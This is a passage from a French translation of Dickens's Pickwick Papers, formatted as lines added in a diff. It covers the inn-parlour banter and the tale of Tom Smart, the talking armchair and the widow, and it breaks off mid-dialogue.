+variées, était distribuée autour d'une grande table placée au centre de
+la salle, et d'une infinité de petites tables rondes, carrées ou
+triangulaires, qui en occupaient tous les coins. Un vieux tapis de
+Turquie faisait, sur le plancher, l'effet d'un petit mouchoir de femme
+sur le plancher d'une guérite. Les murs étaient garnis de deux ou trois
+grandes cartes géographiques, et de plusieurs grosses houppelandes, qui
+pendaient à une rangée de champignons. On voyait, sur la cheminée, un
+livre de poste; une histoire du Comté, moins la couverture; les restes
+mortels d'une truite, contenus dans un cercueil de verre; un encrier de
+bois, contenant un tronçon de plume, avec la moitié d'un pain à
+cacheter. Le buffet s'honorait de porter une quantité d'objets divers,
+parmi lesquels se faisaient remarquer principalement, une burette fort
+nuageuse; deux ou trois fouets; autant de châles de voyage; un
+assortiment de couteaux et de fourchettes, et surtout la moutarde.
+Enfin, l'atmosphère, épaissie par la fumée de tabac, avait communiqué
+une teinte de bistre à tous les objets, et principalement à des rideaux
+rouges et poussiéreux, qui pendaient tristement aux croisées.
+
+C'est là que MM. Tupman et Snodgrass buvaient et fumaient, dans la
+soirée qui suivit l'élection, avec plusieurs autres habitants
+temporaires de l'hôtel.
+
+«Allons! messieurs, dit _ex abrupto_, un grand et vigoureux personnage,
+qui ne possédait qu'un seul oeil, mais un petit oeil noir étincelant,
+comme quatre, de malice et de bonne humeur. Allons! messieurs, à nos
+nobles santés! Je propose toujours ce toast-là à la compagnie, mais dans
+mon for intérieur je bois à la santé de Mary. Pas vrai, Mary?...
+
+--Laissez-moi, monstre! répondit la servante, qui, toutefois, était
+évidemment flattée du compliment.
+
+--Ne vous en allez pas, Mary, reprit l'homme à l'oeil noir.
+
+--Laissez-moi tranquille, impertinent!
+
+--Ne pleurez pas d'être obligée de me quitter, Mary, poursuivit le
+personnage à l'oeil unique, tandis que la jeune fille quittait la
+chambre; j'irai vous retrouver tout à l'heure, ne vous chagrinez pas, ma
+chère! En disant ces mots il cligna son oeil solitaire du côté de la
+compagnie, à la grande satisfaction d'un personnage assez figé, qui
+avait une pipe de terre et un visage également _culottés_.
+
+--Les femmes, c'est des drôles de créatures, dit l'homme au visage
+culotté, après une pause.
+
+--Ah! c'est fameusement vrai!» s'écria, derrière son cigare, un second
+monsieur au visage couperosé.
+
+Après ce petit bout de philosophie, il y eut une autre pause.
+
+«Malgré cela, voyez-vous, il y a dans ce monde des choses plus drôles
+que les femmes, reprit l'homme à l'oeil noir, en remplissant gravement
+une pipe hollandaise d'une énorme dimension.
+
+--Êtes-vous marié? demanda le visage culotté.
+
+--Pas que je sache.
+
+--Je m'en avais douté.»
+
+En parlant ainsi, l'homme au visage culotté tomba dans une extase de
+joie, occasionnée par sa propre répartie; ce en quoi il fut imité par un
+individu à la voix douce, au visage pacifique, qui avait pour principe
+d'être toujours d'accord avec tout le monde.
+
+«Après tout, gentlemen, dit l'enthousiaste M. Snodgrass, les femmes sont
+le charme et la consolation de notre existence.
+
+--Cela est vrai, répliqua le personnage à l'air doucereux.
+
+--Quand elles sont de bonne humeur, ajouta le visage culotté.
+
+--Oh! cela est très-vrai, dit le gentleman pacifique.
+
+--Je repousse cette restriction! reprit M. Snodgrass dont la pensée
+retournait rapidement vers Émily Wardle. Je la repousse avec dédain.
+Montrez-moi l'homme qui profère quelque chose contre les femmes, en tant
+que femmes, et je déclare hardiment qu'il n'est pas un homme. En
+prononçant ces mots, M. Snodgrass ôta son cigare de sa bouche, et frappa
+violemment sur la table avec son poing fermé.
+
+--Voilà un bon argument, dit l'homme pacifique.
+
+--Contenant une assertion que je nie, interrompit le visage culotté.
+
+--Et il y a certainement aussi beaucoup de vérité dans ce que vous
+observez, monsieur, répliqua le pacifique.
+
+--Votre santé, monsieur, reprit le commis voyageur, à l'oeil unique, en
+le dirigeant amicalement vers M. Snodgrass.
+
+Le pickwickien répondit à cette politesse comme il convenait.
+
+«J'aime toujours à entendre un bon argument, continua le commis
+voyageur; un argument frappant comme celui-ci. C'est fort instructif.
+Mais cette petite discussion sur les femmes m'a fait souvenir d'une
+histoire que j'ai entendu raconter à mon oncle. C'est ce qui m'a fait
+dire tout à l'heure qu'il y a des choses plus drôles que les femmes.
+
+--Je voudrais bien entendre cette histoire-là, dit l'homme au cigare et
+au visage rouge.
+
+--Votre parole d'honneur? répliqua laconiquement le commis voyageur; et
+il continua à fumer avec grande véhémence.
+
+--Et moi aussi, ajouta M. Tupman, qui parlait pour la première fois, et
+qui était toujours désireux d'augmenter son bagage d'expérience.
+
+--Et vous aussi? Eh bien! je vais vous la raconter. Pourtant ce n'est
+pas trop la peine; je suis sûr que vous ne la croirez pas.»
+
+Et pendant que le commis voyageur parlait ainsi, son oeil solitaire
+clignait d'une façon singulièrement malicieuse.
+
+«Si vous m'assurez que l'histoire est vraie, je la croirai certainement,
+dit M. Tupman.
+
+--Moyennant cette condition, je vais vous la raconter. Avez-vous entendu
+parler de la maison Bilson et Slum? Au reste, que vous en ayez entendu
+parler ou non, cela ne fait pas grand'chose, puisqu'ils sont retirés du
+commerce depuis longtemps. Il y a quatre-vingts ans que l'histoire en
+question arriva à un commis voyageur de cette maison; il était ami
+intime avec mon oncle, et mon oncle m'a raconté l'histoire à peu près
+comme vous allez l'entendre. Il l'appelait
+
+L'HISTOIRE DE TOM SMART, LE COMMIS VOYAGEUR.
+
+Par une soirée d'hiver, au moment où l'obscurité commençait à tomber, on
+aurait pu voir sur la route qui traverse le plateau de Marlborough, une
+carriole, et dans cette carriole un homme qui pressait son cheval
+fatigué. Je dis _qu'on aurait pu voir_, et je n'ai pas le moindre doute
+qu'on aurait vu, s'il était passé par là quelque personne qui n'eût pas
+été aveugle. Mais la saison était si froide et la nuit si pluvieuse,
+qu'excepté l'eau qui tombait il n'y avait pas un chat dehors. Si un
+commis voyageur de cette époque avait rencontré ce casse-cou de petite
+carriole, avec sa caisse grise, ses roues écarlates, et sa jument baie à
+l'allure allongée, un caractère capricieux, qui avait l'air de descendre
+d'un cheval de boucher et d'une rosse de la petite poste, il aurait
+conclu du premier coup, que le conducteur de la carriole était
+nécessairement Tom Smart, de la grande maison Bilson et Slum, de
+Cateaton-Street, dans la Cité; mais comme il ne se trouvait là aucun
+commis voyageur, personne ne se doutait de l'affaire, et Tom Smart, sa
+carriole grise, ses roues écarlates et sa jument capricieuse, gardaient
+mutuellement leur secret, en cheminant de compagnie.
+
+Même dans ce triste monde, il y a bien des endroits plus agréables que
+la plaine de Marlborough, quand le vent souffle violemment. Si vous y
+joignez une sombre soirée d'hiver, une route défoncée et fangeuse, une
+pluie froide et battante, et que vous en fassiez l'expérience sur votre
+propre individu, vous comprendrez toute la force de cette observation.
+
+Le vent ne soufflait pas en face, ni par derrière, quoique ce soit assez
+mauvais, mais il venait en travers de la route, poussait la pluie
+obliquement, comme les lignes qu'on traçait dans nos cahiers d'écriture
+pour nous apprendre à bien pencher nos lettres: il s'apaisait par
+instants, et le voyageur commençait à se flatter qu'épuisé par sa furie,
+il s'était enfin endormi. Mais pfffouh! il recommençait à hurler et à
+siffler au loin; il arrivait en roulant par-dessus les collines; il
+balayait la plaine, et s'approchant avec une violence toujours
+croissante, il tourbillonnait autour de l'homme et du cheval; il
+fouettait dans leurs yeux, dans leurs oreilles, des bouffées d'une pluie
+froide et piquante; il soufflait son haleine humide et glacée jusque
+dans la moelle de leurs os; puis, quand il les avait dépassés il
+tempêtait au loin avec des mugissements étourdissants, comme s'il avait
+voulu se moquer de leur faiblesse, et se glorifier de sa puissance.
+
+La jument baie pataugeait dans la boue, les oreilles pendantes, et de
+temps en temps secouait la tête, comme pour exprimer le dégoût que lui
+inspirait la conduite inconvenante des éléments. Cependant elle allait
+toujours d'un bon pas, quand tout à coup, entendant venir un tourbillon,
+plus furieux que tous les autres, elle s'arrêta court, écarta ses quatre
+pieds, et les planta solidement sur la terre. Ce fut par une grâce
+spéciale de la Providence qu'elle agit ainsi, car la carriole était si
+légère, Tom-Smart si mince, et la jument capricieuse si efflanquée,
+qu'une fois enlevée par l'ouragan, tous les trois auraient
+infailliblement roulé, l'un par-dessus l'autre, jusqu'à ce qu'ils
+eussent atteint les bornes de la terre, où jusqu'à ce que le vent se fût
+apaisé. Or, dans l'une comme dans l'autre hypothèse, il est probable que
+ni la jument capricieuse, ni Tom Smart, ni la carriole grise aux roues
+écarlates, n'auraient jamais pu être remis en état de service.
+
+«Par mes sous-pieds et mes favoris! s'écria Tom Smart (Il avait parfois
+la mauvaise habitude de jurer); par mes sous-pieds et mes favoris!
+s'écria Tom, voilà un temps gracieux, que le diable m'évente!»
+
+On me demandera probablement pourquoi Tom Smart exprimait le voeu d'être
+éventé sur nouveaux frais, lorsqu'il était soumis à ce genre de
+traitement depuis si longtemps. Je n'en sais rien: seulement je sais que
+Tom Smart parla de la sorte, ou du moins raconta à mon oncle, qu'il
+avait ainsi parlé; ce qui revient au même.
+
+«Que le diable m'évente!» dit Tom Smart; et la jument renifla comme si
+elle avait été précisément du même avis.
+
+«Allons! ma vieille fille, reprit Tom, en lui caressant le cou avec le
+bout de son fouet; il n'y a pas moyen d'avancer cette nuit. Nous
+resterons à la première auberge. Ainsi plus tu iras vite, plus vite ça
+sera fini. Oh! oh! bellement! bellement!»
+
+La jument capricieuse était-elle assez habituée à la voix de son maître
+pour comprendre sa pensée, ou trouvait-elle qu'il faisait plus froid à
+rester en place qu'à marcher, c'est ce que je ne saurais dire; mais ce
+qu'il y a de sûr, c'est que Tom avait à peine cessé de parler, qu'elle
+releva ses oreilles et recommença à trotter. Elle allait grand train et
+secouait si bien la carriole grise, que Tom s'attendait à chaque instant
+à voir les rayons rouges de ses roues voler à droite et à gauche, et
+s'enfoncer dans le sol humide. Tout bon conducteur qu'il était, Tom ne
+put ralentir sa course jusqu'au moment où la courageuse bête s'arrêta
+d'elle-même devant une auberge, à main droite de la route, à environ
+deux milles des collines de Marlborough.
+
+Le voyageur déposa son fouet, et jeta les rênes au valet d'écurie, tout
+en examinant la maison. C'était un drôle de vieux bâtiment, construit
+avec une sorte de cailloutage et des poutres entre-croisées. Les
+fenêtres, surmontées d'un petit toit pointu, s'avançaient sur la route;
+la porte était basse, et pour entrer dans la maison, il fallait
+descendre deux marches assez raides, sous un porche obscur, au lieu de
+monter au perron extérieur, comme c'est l'usage moderne. Cependant
+l'auberge avait l'air confortable; il s'échappait de la fenêtre de la
+salle commune une lumière réjouissante, qui rayonnait sur la route et
+jusque sur la haie opposée. Une seconde clarté, tantôt vacillante et
+faible, tantôt vive et ardente, perçait à travers les rideaux fermés
+d'une croisée de la même salle, indice flatteur de l'excellent feu qui
+flambait dans l'intérieur. Remarquant ces petits symptômes avec l'oeil
+d'un voyageur expérimenté, Tom descendit aussi agilement que le lui
+permirent ses membres à moitié gelés, et s'empressa d'entrer dans la
+maison.
+
+En moins de cinq minutes, il était établi dans la salle (c'était bien
+celle qu'il avait rêvée), en face du comptoir, et non loin d'un feu
+substantiel, composé d'à peu près un boisseau de charbon de terre et
+d'assez de broussailles pour former une douzaine de buissons fort
+décents. Ces combustibles étaient empilés jusqu'à la moitié de la
+cheminée, et ronflaient, en pétillant, avec un bruit qui aurait suffi
+pour réchauffer le coeur de tout homme raisonnable. Cela était
+confortable, mais ce n'était pas tout; car une piquante jeune fille, à
+l'oeil brillant, au pied fin, à la mise coquette, mettait sur la table
+une nappe parfaitement blanche. De plus, Tom, ses pieds dans ses
+pantoufles et ses pantoufles sur le garde-feu, le dos tourné à la porte
+ouverte, voyait, par réflexion dans la glace de la cheminée, la
+charmante perspective du comptoir, avec ses délicieuses rangées de
+fromages, de jambons bouillis, de boeuf fumé, de bouteilles portant des
+inscriptions d'or, de pots de marinades et de conserves; le tout disposé
+sur des tablettes d'une manière séduisante. Eh bien! cela était
+confortable; mais cela n'était pas encore tout, car dans le comptoir une
+veuve appétissante était assise pour prendre le thé, à la plus jolie
+petite table possible, près du plus brillant petit feu imaginable, et
+cette veuve, qui avait à peine quarante-huit ans et dont le visage était
+aussi confortable que le comptoir, était évidemment la dame et maîtresse
+de l'auberge, l'autocrate suprême de toutes ces agréables possessions.
+Malheureusement il y avait une vilaine ombre à ce charmant tableau:
+c'était un grand homme, un homme très-grand, en habit brun à énormes
+boutons de métal, avec des moustaches noires et des cheveux noirs
+bouclés. Il prenait le thé à côté de la veuve, et, comme on pouvait le
+deviner sans grande pénétration, il était en beau chemin de prendre la
+veuve elle-même, en lui persuadant de confier à Sa Grandeur le
+privilège de s'asseoir dans ce comptoir, à perpétuité.
+
+Le caractère de Tom Smart n'était nullement irritable ni envieux, et
+pourtant, d'une manière ou d'une autre, le grand homme à l'habit brun
+fit fermenter le peu d'humeur qui entrait dans sa composition. Ce qui le
+vexait surtout, c'était d'observer de temps en temps dans la glace
+certaines petites familiarités innocentes, mais affectueuses, qui
+s'échangeaient entre la veuve et le grand homme, et qui le posaient
+évidemment comme le favori de la dame. Tom aimait le grog chaud--je puis
+même dire qu'il l'aimait beaucoup;--aussi, après s'être assuré que sa
+jument avait de bonne avoine et de bonne litière, après avoir savouré,
+sans en laisser une bouchée, l'excellent petit dîner que la veuve avait
+apprêté pour lui de ses propres mains, Tom demanda un verre de grog, par
+manière d'essai. Or, s'il y avait une chose que la veuve sut fabriquer
+mieux qu'une autre, parmi toutes les branches de l'art culinaire,
+c'était précisément cet article-là. Le premier verre se trouva donc
+adapté si heureusement au goût de Tom, qu'il ne tarda pas à en ordonner
+un second. Le punch chaud est une chose fort agréable, gentlemen, une
+chose fort agréable dans toutes les circonstances; mais dans ce vieux
+parloir si propre, devant ce feu si pétillant, au bruit du vent qui
+rugissait en dehors à faire craquer tous les ais de la vieille maison,
+Tom trouva son punch absolument délicieux. Il en demanda un troisième
+verre, puis un quatrième, puis un cinquième; je ne sais pas trop s'il
+n'en ordonna pas encore un autre après celui-là. Quoi qu'il en soit,
+plus il buvait de punch, plus il s'irritait contre le grand homme.
+
+«Le diable confonde son impudence! pensa Tom Smart en lui-même;
+qu'a-t-il à faire dans ce charmant comptoir, ce vilain museau? Si la
+veuve avait un peu de goût, elle pourrait assurément ramasser un
+gaillard mieux tourné que cela.» Ici les yeux de Tom quittèrent la glace
+et tombèrent sur son verre de punch. Il le vida, car il devenait
+sentimental, et il en ordonna encore un.
+
+Tom Smart, gentlemen, avait toujours ressenti le noble désir de servir
+le public. Il avait longtemps ambitionné d'être établi dans un comptoir
+qui lui appartînt, avec une grande redingote verte, en culottes de
+velours à côtes et des bottes à revers. Il se faisait une haute idée de
+présider à des repas de corps; il s'imaginait qu'il parlerait joliment
+dans une salle à manger qui serait à lui, et qu'il donnerait de fameux
+exemples à ses pratiques, en buvant avec intrépidité. Toutes ces choses
+passèrent rapidement dans l'esprit de Tom, pendant qu'il sirotait son
+punch, auprès du feu jovial, et il se sentit justement indigné contre le
+grand homme, qui paraissait sur le point d'acquérir cette excellente
+maison, tandis que lui, Tom Smart, en était aussi éloigné que jamais. En
+conséquence, après s'être demandé, pendant ses deux derniers verres,
+s'il n'avait pas le droit de chercher querelle au grand homme pour
+s'être insinué dans les bonnes grâces de l'appétissante veuve, Tom Smart
+arriva finalement à cette conclusion peu satisfaisante, qu'il était un
+pauvre homme fort maltraité, fort persécuté, et qu'il ferait mieux de
+s'aller jeter sur son lit.
+
+La jolie fille précéda Tom dans un large et vieil escalier: elle
+abritait sa chandelle avec sa main, pour la protéger contre les courants
+d'air qui, dans un vieux bâtiment aussi peu régulier que celui-là,
+auraient certainement pu trouver mille recoins pour prendre leurs ébats,
+sans venir précisément souffler la lumière. Ils la soufflèrent
+cependant, et donnèrent ainsi aux ennemis de Tom une occasion d'assurer
+que c'était _lui_, et non pas le vent, qui avait éteint la chandelle, et
+que, tandis qu'il prétendait souffler dessus pour la rallumer, il
+embrassait effectivement la servante. Quoi qu'il en soit, la chandelle
+fut rallumée, et Tom fut conduit, à travers un labyrinthe de corridors,
+dans l'appartement qui avait été préparé pour sa réception. La jeune
+fille lui souhaita une bonne nuit, et le laissa seul.
+
+Il se trouvait dans une grande chambre, accompagnée de placards énormes;
+le lit aurait pu servir pour un bataillon tout entier; les deux
+armoires, en chêne bruni par le temps, auraient contenu le bagage d'une
+petite armée: mais ce qui frappa le plus l'attention de Tom, ce fut un
+étrange fauteuil, au dos élevé, à l'air refrogné, sculpté de la manière
+la plus bizarre, couvert d'un damas à grands ramages, et dont les pieds
+étaient soigneusement enveloppés dans de petits sacs rouges, comme s'ils
+avaient eu la goutte dans les talons. De tout autre fauteuil singulier,
+Tom aurait pensé simplement que c'était un singulier fauteuil; mais il y
+avait dans ce fauteuil-là quelque chose,--il lui aurait été impossible
+de dire quoi,--quelque chose qu'il n'avait jamais remarqué dans aucune
+autre pièce d'ameublement, quelque chose qui semblait le fasciner. Il
+s'assit auprès du feu et il regarda de tous ses yeux le vieux fauteuil,
+pendant plus d'une demi-heure. Damnation sur ce fauteuil! C'était une
+vieillerie si étrange, qu'il n'en pouvait pas détacher ses regards.
+
+«Sur ma foi! dit Tom en se déshabillant lentement et en considérant
+toujours le vieux fauteuil, qui se tenait d'un air mystérieux auprès du
+lit, je n'ai jamais vu rien de si drôle de ma vie ni de mes jours;
+farcement drôle! dit Tom, qui, grâce au punch, était devenu
+singulièrement penseur. Farcement drôle!» Il secoua la tête avec un air
+de profonde sagesse et regarda le fauteuil sur nouveaux frais; mais il
+eut beau regarder, il n'y pouvait rien comprendre. Ainsi, il se fourra
+dans son lit, se couvrit chaudement, et s'endormit.
+
+Au bout d'une demi-heure, Tom s'éveilla en sursaut au milieu d'un rêve
+confus de grands hommes et de verres de punch. Le premier objet qui
+s'offrit à son imagination engourdie, ce fut l'étrange fauteuil.
+
+«Je ne veux plus le regarder,» se dit Tom à lui-même, en fermant
+solidement ses paupières; et il tâcha de se persuader qu'il allait se
+rendormir. Impossible! une quantité de fauteuils bizarres dansaient
+devant ses yeux, battaient des entrechats avec leurs pieds, jouaient à
+saute-mouton et faisaient toutes sortes de bamboches.
+
+«Autant voir un fauteuil réel que deux ou trois douzaines de fauteuils
+imaginaires,» pensa Tom, en sortant sa tête de dessous la couverture.
+
+L'objet de son étonnement était toujours là, fantastiquement éclairé par
+la lumière vacillante du feu.
+
+Tom le contemplait fixement, lorsque soudain il le vit changer de
+figure. Les sculptures du dossier prirent graduellement les traits et
+l'expression d'une face humaine, vieillotte et ridée; le damas à ramages
+devint un antique gilet flamboyant; les pieds s'allongèrent, enfoncés
+dans des pantoufles rouges; et le fauteuil, enfin, offrit l'apparence
+d'un très-vieux et très-vilain bourgeois du siècle précédent, qui se
+serait campé là, les poings sur les hanches. Tom s'assit sur son lit et
+se frotta les yeux, pour chasser cette illusion. Mais non! le fauteuil
+était bien réellement un vieux gentleman; et qui plus est, il commença à
+cligner de l'oeil en regardant Tom Smart.
+
+Tom était naturellement un gaillard audacieux, et par-dessus le marché
+il avait dans l'estomac cinq verres de punch. Quoiqu'il eût été d'abord
+un peu démoralisé, il sentit que sa bile s'échauffait en voyant
+l'antique gentleman le lorgner ainsi d'un air impudent. A la fin, il
+résolut de ne pas le souffrir et comme la vieille face continuait à
+cligner de l'oeil aussi vite qu'un oeil peut cligner, Tom lui dit d'un ton
+courroucé:
+
+«Pourquoi diantre me faites-vous toutes ces grimaces-là?
+
+--Parce que cela me plaît, Tom Smart,» répondit le fauteuil, ou le vieux
+gentleman, comme vous voudrez l'appeler. Cependant il cessa de cligner
+de l'oeil, mais il se mit à ricaner en montrant ses dents, comme un vieux
+singe décrépit.
+
+«Comment savez-vous mon nom, vieille face de casse-noisettes? demanda
+Tom un peu ébranlé, quoiqu'il voulût avoir l'air de faire bonne
+contenance.
+
+--Allons! allons! Tom, ce n'est pas comme cela qu'on doit parler à de
+l'acajou massif. Dieu me damne! on ne traiterait pas ainsi le plus mince
+plaqué.» En disant ces mots, le vieux gentleman avait l'air si féroce,
+que Tom commença à s'effrayer.
+
+«Je n'avais pas l'intention de vous manquer de respect, monsieur,
+répondit-il d'un ton beaucoup plus humble.
+
+--Bien! bien! reprit le bonhomme; je le crois, je le crois. Tom?
+
+--Monsieur?
+
+--Je sais toute votre histoire, Tom; toute votre histoire. Vous n'êtes
+pas riche, Tom.
+
+--C'est vrai; mais comment savez-vous...?
+
+--Cela n'y fait rien. Écoutez-moi, Tom: Vous aimez trop le punch.»
+
+Tom était sur le point de protester qu'il n'en avait pas tâté une goutte
+depuis le dernier anniversaire de sa fête, lorsque ses yeux
+rencontrèrent ceux du fauteuil. Il avait l'air si malin, que Tom rougit,
+et garda le silence.
+
+«Tom! la veuve est une belle femme: une femme bien appétissante! eh!
+Tom?» En parlant ainsi, le vieil amateur tourna la prunelle, fit claquer
+ses lèvres, et releva une de ses petites jambes grêles d'un air si roué,
+que Tom prit en dégoût la légèreté de ses manières, à son âge surtout.
+
+«Tom! reprit le vieux gentleman, je suis son tuteur.
+
+--Vraiment?
+
+--J'ai connu sa mère, Tom, et sa grand'mère aussi. Elle était folle de
+moi. C'est elle qui m'a fait ce gilet-là, Tom.
+
+--Oui-da!
+
+--Et ces pantoufles-là, continua le vieux camarade en levant un de ses
+échalas. Mais n'en parlez pas, Tom; je ne voudrais pas qu'on sût
+combien elle m'était attachée; cela pourrait occasionner quelques
+désagréments dans sa famille.» En disant ces mots, le vieux débauché
+avait l'air si impertinent, que Tom a déclaré depuis qu'il aurait pu
+s'asseoir dessus sans le moindre remords.
+
+«J'étais la coqueluche des femmes dans mon temps. J'ai tenu bien des
+jolies femmes sur mes genoux pendant des heures entières! Eh! Tom, qu'en
+dites-vous?» Le vieux farceur allait poursuivre et raconter sans doute
+quelque exploit de sa jeunesse, lorsqu'il lui prit un si violent accès
+de craquements qu'il lui fut impossible de continuer.
+
+«C'est bien fait, vieux libertin! pensa Tom. Mais il ne dit rien.
+
+--Ah! reprit son étrange interlocuteur, cette maladie m'incommode
+beaucoup maintenant. Je deviens vieux, Tom, et j'ai perdu presque tous
+mes bâtons. On m'a fait dernièrement une vilaine opération: on m'a mis
+dans le dos une petite pièce. C'était une épreuve terrible, Tom.
+
+--Je le crois, monsieur.
+
+--Mais il ne s'agit point de cela, Tom; je veux vous marier à la veuve.
+
+--Moi! monsieur?
+
+--Vous.
+
+--Que Dieu bénisse vos cheveux blancs! (le fauteuil conservait encore
+une partie de ses crins). Elle ne voudrait pas de moi! Et Tom soupira
+involontairement, car il songeait au comptoir.
+
+--Allons donc! dit le vieux gentleman avec fermeté.
+
+--Non, non. Il y a un autre vent qui souffle: un damné coquin, d'une
+taille superbe, avec des favoris noirs!
+
+--Tom! reprit le vieillard solennellement, il ne l'épousera jamais!
+
+--Ah! si vous aviez été dans le comptoir, vieux gentleman, vous
+conteriez un autre conte.
+
+--Bah! bah! je sais toute cette histoire-là....
+
+--Quelle histoire?
+
+--Les baisers dérobés derrière la porte, et caetera,» dit le vieillard
+avec un regard impudent qui fit bouillonner le sang de Tom; car, je vous
+le demande, messieurs, y a-t-il rien de plus vexant que d'entendre
+parler de la sorte un homme de cet âge, qui devrait s'occuper de choses
+plus convenables.
+
+«Je sais tout cela, Tom; j'en ai vu faire autant à bien d'autres, que
+je ne veux pas nommer; mais, après tout, il n'en est rien résulté.
+
+--Vous devez avoir vu de drôles de choses dans votre temps?»
+
+--Vous pouvez en jurer, Tom, répondit le vieillard avec une grimace fort
+compliquée. Puis il ajouta en poussant un profond soupir: hélas! je suis
+le dernier de ma famille.
+
+--Était-elle nombreuse?
+
+--Nous étions douze gaillards solidement bâtis, nous tenant droits comme
+des i. Quelle différence avec vos avortons modernes! Et nous avions reçu
+un si beau poli (quoique je ne dusse peut-être pas le dire moi-même), un
+si beau poli, qu'il vous aurait réjoui le coeur.
+
+--Et que sont devenus les autres, monsieur?»
+
+Le vieux gentleman appliqua son coude à son oeil, et répondit tristement:
+«Défunts! Tom, défunts! Nous avons fait un rude service, et ils
+n'avaient pas tous ma constitution. Ils ont attrapé des rhumatismes dans
+les pieds et dans les bras, si bien qu'on les a relégués à la cuisine et
+dans d'autres hôpitaux. L'un d'eux, par suite de longs services et de
+mauvais traitements, devint si disloqué, si branlant, qu'on prit le
+parti de le mettre au feu. Une fin bien rude, Tom!
+
+--Épouvantable!»
+
+Le pauvre vieux bonhomme fit une pause. Il luttait contre la violence de
+ses émotions. Enfin, il continua en ces termes:
+
+«Il ne s'agit point de cela, Tom. Ce grand homme est un coquin
+d'aventurier. Aussitôt qu'il aurait épousé la veuve, il vendrait tout le
+mobilier, et il s'en irait. Qu'arriverait-il ensuite? Elle serait
+abandonnée, ruinée, et moi je mourrais de froid dans la boutique de
+quelque brocanteur.
+
+--Oui, mais....
+
+--Ne m'interrompez pas, Tom. J'ai de vous une opinion bien différente.
+Je sais que si une fois vous étiez établi dans une taverne vous ne la
+quitteriez jamais, tant qu'il y resterait quelque chose à boire.
+
+--Je vous suis très-obligé de votre bonne opinion, monsieur.
+
+--C'est pourquoi, reprit le vieux gentleman d'un ton doctoral, c'est
+pourquoi vous l'épouserez et il ne l'épousera point.
+
+--Et qui l'en empêchera? demanda Tom avec vivacité.
+
+--Une petite circonstance: il est déjà marié.
+
+--Comment pourrai-je le prouver? s'écria Tom, en sautant à moitié de
+son lit.
+
+--Il ne se doute guère qu'il a laissé dans le gousset droit d'un
+pantalon enfermé dans cette armoire, une lettre de sa malheureuse femme,
+qui le supplie de revenir pour donner du pain à ses six,... remarquez
+bien, Tom, à ses six enfants, tous en bas âge.»
+
+Lorsque le vieux gentleman eut prononcé ces mots avec solennité, ses
+traits devinrent de moins en moins distincts et sa personne plus
+vaporeuse; un voile semblait s'étendre sur les yeux de Tom; l'antique
+gilet du vieillard se résolut en un coussin de damas; ses pantoufles
+rouges devinrent de petites enveloppes: toute sa personne, enfin, reprit
+l'apparence d'un vieux fauteuil. Alors la lumière du feu s'éteignit, et
+Tom Smart, retombant sur son oreiller, s'endormit profondément.
+
+Le matin le tira du sommeil léthargique qui s'était emparé de lui, après
+la disparition du vieil homme. Il s'assit sur son lit, et, pendant
+quelques minutes, il s'efforça vainement de se rappeler les événements
+de la soirée précédente. Tout d'un coup ils lui revinrent à la mémoire.
+Il regarda le fauteuil; c'était certainement un meuble gothique, sombre,
+fantastique, mais il aurait fallu une imagination plus ingénieuse que
+celle de Tom pour y découvrir quelque ressemblance avec un vieillard.
+
+«Comment ça va-t-il, vieux garçon?» dit Tom, car il se trouvait plus
+brave à la lumière, comme il arrive à la plupart des hommes.
+
+Le fauteuil resta immobile et ne répondit pas un seul mot.
+
+«Vilaine matinée!» continua Tom.
+
+Motus. Le fauteuil ne voulait pas se laisser entraîner à causer.
+
+«Quelle armoire m'avez-vous montrée? poursuivit Tom. Vous pouvez bien me
+dire cela?»
+
+Même rengaine, le fauteuil ne consentait pas à souffler un seul mot.
+
+«Quoi qu'il en soit, il n'est pas bien difficile de l'ouvrir», pensa
+Tom. Il sortit du lit résolument et s'approcha d'une des armoires. La
+clef était à la serrure; il la tourna et ouvrit la porte. Il y avait
+dans l'armoire un pantalon; Tom fourra sa main dans la poche et en tira
+la lettre même, dont le vieux gentleman avait parlé.
+
+«Drôle d'histoire, dit Tom en regardant d'abord le fauteuil, ensuite
+l'armoire, puis la lettre, et en revenant enfin au fauteuil. Drôle
+d'histoire!» Mais il avait beau regarder, cela n'en devenait pas plus
+clair et il pensa qu'il ferait aussi bien de s'habiller et de terminer
+l'affaire du grand homme, simplement pour ne pas le laisser en suspens.
+
+En descendant au parloir il examina les localités avec l'oeil scrutateur
+du maître, pensant qu'il n'était pas impossible que toutes ces chambres,
+avec leur contenu, devinssent avant peu sa propriété. Le grand homme
+était debout dans le séduisant comptoir, ses mains derrière son dos,
+comme chez lui. Il sourit à Tom, d'un air distrait. Un observateur
+superficiel aurait pu supposer qu'il n'agissait ainsi que pour montrer
+ses dents blanches, mais Tom pensa qu'un sentiment de triomphe remuait
+l'endroit où aurait dû être l'esprit du grand homme, si toutefois il en
+avait. Tom lui rit au nez et appela l'hôtesse.
+
+«Bonjour, madame, dit Tom Smart, en fermant la porte du petit parloir,
+après que la veuve fut entrée.
+
+--Bonjour, monsieur, répondit la veuve, que voulez-vous prendre pour
+déjeuner, monsieur?»
+
+Tom ne répondit point, car il cherchait de quelle manière il devait
+entamer l'affaire.
+
+«Il y a un excellent jambon, reprit la veuve, et une excellente volaille
+froide. Vous les enverrai-je, monsieur?»
+
+Ces mots firent cesser les réflexions de Tom, et son admiration pour la
+veuve s'en augmenta. Soigneuse créature! prévoyante! confortable!
+
+«Madame, demanda-t-il, qui est ce monsieur dans le comptoir?
+
+--Il s'appelle Jinkins, monsieur, répondit la veuve en rougissant un
+peu.
+
+--C'est un grand homme.
+
+--C'est un très-bel homme, monsieur, et un gentleman fort distingué.
+
+--Hum! fit le voyageur.
+
+--Désirez-vous quelque chose, monsieur, reprit la veuve un peu
+embarrassée par les manières de son interlocuteur.
+
+--Mais oui, vraiment, répliqua-t-il. Ma chère dame voulez-vous avoir la
+bonté de vous asseoir un instant?»
+
+La veuve parut fort étonnée, mais elle s'assit, et Tom s'assit auprès
+d'elle. Je ne sais pas comment cela se fit, gentlemen, et mon oncle
+avait coutume de dire que Tom Smart ne savait pas lui-même comment cela
+s'était fait; mais d'une manière ou d'une autre, la paume de sa main
+tomba sur le dos de la main de la veuve et y resta tout le temps de la
+conférence.
+
+«Ma chère dame, dit Tom, car il savait fort bien se rendre aimable; ma
+chère dame, vous méritez un excellent mari, en vérité.
+
+--Seigneur! monsieur! s'écria la veuve; et elle n'avait pas tort: cette
+manière d'entamer la conversation était assez inusitée, pour ne pas dire
+plus, surtout si l'on considère qu'elle n'avait jamais vu Tom avant la
+soirée précédente. Seigneur! monsieur!
+
+--Je ne suis point un flatteur, ma chère dame. Vous méritez un mari
+parfait et ce sera un homme bien heureux.»
+
